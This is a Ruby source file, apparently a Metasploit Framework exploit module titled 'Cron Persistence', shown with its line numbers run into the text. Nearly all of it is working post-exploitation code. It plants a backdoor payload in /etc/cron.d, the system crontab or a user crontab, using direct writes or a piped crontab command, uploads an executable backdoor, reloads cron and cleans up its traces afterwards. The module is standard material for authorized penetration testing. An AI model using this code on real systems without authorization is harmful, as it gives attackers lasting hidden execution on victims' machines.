Path: blob/master/modules/exploits/multi/persistence/cron.rb
32351 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::FileDropper12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck14include Msf::Exploit::Deprecated15moved_from 'exploits/linux/local/cron_persistence'1617def initialize(info = {})18super(19update_info(20info,21'Name' => 'Cron Persistence',22'Description' => %q{23This module will create a cron or crontab entry to execute a payload.24The module includes the ability to automatically clean up those entries to prevent multiple executions.25syslog will get a copy of the cron entry.26Verified on Ubuntu 22.04.1, MacOS 13.7.427},28'License' => MSF_LICENSE,29'Author' => [30'h00die <[email protected]>'31],32'Platform' => ['unix', 'linux', 'osx'],33'Targets' => [34[ 'Cron', { path: '/etc/cron.d' } ],35[ 'User Crontab', { path: '/var/spool/cron/crontabs' } ],36[ 'OSX User Crontab', { path: '/var/at/tabs/' } ],37[ 'System Crontab', { path: '/etc/crontab' } ]38],39'DefaultTarget' => 1,40'Arch' => [41ARCH_CMD,42ARCH_X86,43ARCH_X64,44ARCH_ARMLE,45ARCH_AARCH64,46ARCH_PPC,47ARCH_MIPSLE,48ARCH_MIPSBE49],50'SessionTypes' => [ 'shell', 'meterpreter' ],51'DisclosureDate' => '1979-07-01', # Version 7 Unix release date (first cron implementation)52'References' => [53['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],54['ATT&CK', Mitre::Attack::Technique::T1053_003_CRON]55],56'Notes' => {57'Stability' => [CRASH_SAFE],58'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],59'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]60}61)62)6364register_options(65[66OptString.new('USER', [false, 'User to run cron/crontab as', ''], conditions: ['Targets', 'in', ['User Crontab', 'OSX User Crontab']]),67OptString.new('TIMING', [false, 'Cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),68OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),69]70)71end7273def check74# https://gist.github.com/istvanp/310203 for cron regex validator75cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'76cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'77cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'78cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'79cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*80# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'8182return CheckCode::Unknown('Invalid timing format') unless datastore['TIMING'] =~ /#{cron_regex}/8384return CheckCode::Safe("#{target.opts[:path]} doesn't exist") unless exists?(target.opts[:path])85# it may not be directly writable, but we can use crontab to write it for us86if !writable?(target.opts[:path]) && !command_exists?('crontab')87return CheckCode::Safe("Can't write to: #{target.opts[:path]} or crontab not found")88end8990if target.name == 'User Crontab' && !user_cron_permission?(target_user)91return CheckCode::Unknown('User denied cron via cron.deny')92end9394CheckCode::Appears('Cron timing is valid, no cron.deny entries found')95end9697def target_user98return datastore['USER'] unless datastore['USER'].blank?99100whoami101end102103def user_cron_permission?(user)104# double check we're allowed to do cron105# may also be /etc/cron.d/106paths = ['/etc/', '/etc/cron.d/']107paths.each do |path|108if readable?("#{path}cron.allow")109cron_auth = read_file("#{path}cron.allow")110if cron_auth && (cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/)111vprint_good("User located in #{path}cron.allow")112return true113end114end115next unless readable?("#{path}cron.deny")116117cron_auths = read_file("#{path}cron.deny")118if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/119vprint_error("User located in #{path}cron.deny")120return false121end122end123# no guidance, so we should be fine124true125end126127def install_persistence128cron_entry = datastore['TIMING']129cron_entry += " #{target_user}" unless ['User Crontab', 'OSX User Crontab'].include?(target.name)130if payload.arch.first == 'cmd'131payload_info['BadChars'] = "#%\x10\x13"132cron_entry += " #{regenerate_payload.encoded}"133payload_info.delete('BadChars')134else135file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)136backdoor = "#{writable_dir}/#{file_name}"137vprint_status("Writing backdoor to #{backdoor}")138upload_and_chmodx backdoor, generate_payload_exe139cron_entry += " #{backdoor}"140end141142case target.name143when 'Cron'144our_entry = Rex::Text.rand_text_alpha(8..15)145write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")146vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")147@clean_up_rc << "rm #{target.opts[:path]}/#{our_entry}\n"148149when 'System Crontab'150file_to_clean = target.opts[:path].to_s151crontab_backup = store_crontab_backup(file_to_clean, 'system crontab backup')152153append_file(file_to_clean, "\n#{cron_entry}\n")154vprint_good("Writing #{cron_entry} to #{file_to_clean}")155@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"156157when 'User Crontab', 'OSX User Crontab'158path = target.opts[:path]159if !writable?(path)160print_status("Utilizing crontab since we can't write to #{path}")161cmd_exec("echo \"#{cron_entry}\" | crontab -")162else163file_to_clean = "#{path}/#{target_user}"164165crontab_backup = store_crontab_backup(file_to_clean, 'user crontab backup')166append_file(file_to_clean, "\n#{cron_entry}\n")167vprint_good("Writing #{cron_entry} to #{file_to_clean}")168# at least on ubuntu, we need to reload cron to get this to work169vprint_status('Reloading cron to pickup new entry')170171cmd_exec('service cron reload') if target.name == 'User Crontab'172@clean_up_rc << "upload #{crontab_backup} #{file_to_clean}\n"173end174end175print_good('Payload will be triggered when cron time is reached')176end177178def store_crontab_backup(path, desc)179crontab_backup_content = read_file(path)180location = store_loot("crontab.#{path.split('/').last}",181'text/plain', session, crontab_backup_content,182path.split('/').last, desc)183vprint_good("Backed up #{path} to #{location}")184location185end186end187188189